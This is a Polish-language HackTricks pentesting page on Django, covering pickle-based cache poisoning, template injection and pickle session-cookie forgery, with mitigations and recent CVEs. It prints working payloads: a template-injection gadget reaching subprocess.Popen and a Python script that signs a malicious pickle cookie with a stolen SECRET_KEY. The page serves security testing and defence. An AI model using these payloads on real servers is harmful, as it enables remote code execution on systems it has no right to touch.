mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
5.4 KiB
Markdown
80 lines
5.4 KiB
Markdown
# Django
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Manipulacja pamięcią podręczną do RCE
|
||
Domyślną metodą przechowywania pamięci podręcznej w Django są [Python pickles](https://docs.python.org/3/library/pickle.html), co może prowadzić do RCE, jeśli [niezaufane dane wejściowe są odpakowywane](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący uzyska dostęp do zapisu w pamięci podręcznej, może eskalować tę podatność do RCE na serwerze bazowym**.
|
||
|
||
Pamięć podręczna Django jest przechowywana w jednym z czterech miejsc: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [pamięci](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [plikach](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) lub w [bazie danych](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Pamięć podręczna przechowywana na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (iniekcja Redis i iniekcja SQL), ale atakujący może również wykorzystać pamięć podręczną opartą na plikach, aby przekształcić dowolny zapis w RCE. Utrzymujący oznaczyli to jako problem, który nie wymaga uwagi. Ważne jest, aby zauważyć, że folder plików pamięci podręcznej, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji.
|
||
|
||
Ten raport HackerOne dostarcza świetny, powtarzalny przykład wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436
|
||
|
||
---
|
||
|
||
## Wstrzykiwanie szablonów po stronie serwera (SSTI)
|
||
Język szablonów Django (DTL) jest **kompletny w sensie Turinga**. Jeśli dane dostarczone przez użytkownika są renderowane jako *ciąg szablonu* (na przykład przez wywołanie `Template(user_input).render()` lub gdy `|safe`/`format_html()` usuwa automatyczne eskapowanie), atakujący może osiągnąć pełne SSTI → RCE.
|
||
|
||
### Wykrywanie
|
||
1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()`, które zawierają *jakiekolwiek* niesanitizowane dane żądania.
|
||
2. Wyślij ładunek oparty na czasie lub arytmetyce:
|
||
```django
|
||
{{7*7}}
|
||
```
|
||
Jeśli renderowany wynik zawiera `49`, dane wejściowe są kompilowane przez silnik szablonów.
|
||
|
||
### Primitwa do RCE
|
||
Django blokuje bezpośredni dostęp do `__import__`, ale graf obiektów Pythona jest osiągalny:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()}}
|
||
```
|
||
Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od wersji Pythona) i wykonaj dowolne polecenia:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||
```
|
||
Bezpieczniejszym uniwersalnym gadżetem jest iteracja, aż `cls.__name__ == 'Popen'`.
|
||
|
||
Ten sam gadżet działa dla funkcji renderowania **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika.
|
||
|
||
---
|
||
|
||
## RCE z wykorzystaniem ciasteczka sesyjnego opartego na Pickle
|
||
Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i unpickluje* ciasteczko sesyjne **przed** wywołaniem jakiegokolwiek kodu widoku. Dlatego posiadanie ważnego klucza podpisu (domyślnie `SECRET_KEY` projektu) wystarcza do natychmiastowego zdalnego wykonania kodu.
|
||
|
||
### Wymagania dotyczące eksploatacji
|
||
* Serwer używa `PickleSerializer`.
|
||
* Atakujący zna / może zgadnąć `settings.SECRET_KEY` (wycieki przez GitHub, `.env`, strony błędów itp.).
|
||
|
||
### Dowód koncepcji
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from django.contrib.sessions.serializers import PickleSerializer
|
||
from django.core import signing
|
||
import os, base64
|
||
|
||
class RCE(object):
|
||
def __reduce__(self):
|
||
return (os.system, ("id > /tmp/pwned",))
|
||
|
||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||
print(f"sessionid={mal}")
|
||
```
|
||
Wyślij wynikowe ciasteczko, a ładunek działa z uprawnieniami pracownika WSGI.
|
||
|
||
**Mitigacje**: Utrzymuj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.
|
||
|
||
---
|
||
|
||
## Ostatnie (2023-2025) Wysokiego Wpływu CVE Django, które powinni sprawdzić pentesterzy
|
||
* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieucieczone `request.path`* (naprawione 4 czerwca 2025). Pozwala atakującym na przemycanie nowych linii/kodów ANSI do plików logów i zanieczyszczanie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||
* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonywać dowolne SQL. Naprawione w 4.2.15 / 5.0.8.
|
||
|
||
Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i testuj powyższe tam, gdzie to możliwe.
|
||
|
||
---
|
||
|
||
## Odniesienia
|
||
* Wydanie zabezpieczeń Django – "Django 5.2.2, 5.1.10, 4.2.22 adresuje CVE-2025-48432" – 4 czerwca 2025.
|
||
* OP-Innovate: "Django wydaje aktualizacje zabezpieczeń w celu rozwiązania problemu z wstrzykiwaniem SQL CVE-2024-42005" – 11 sierpnia 2024.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|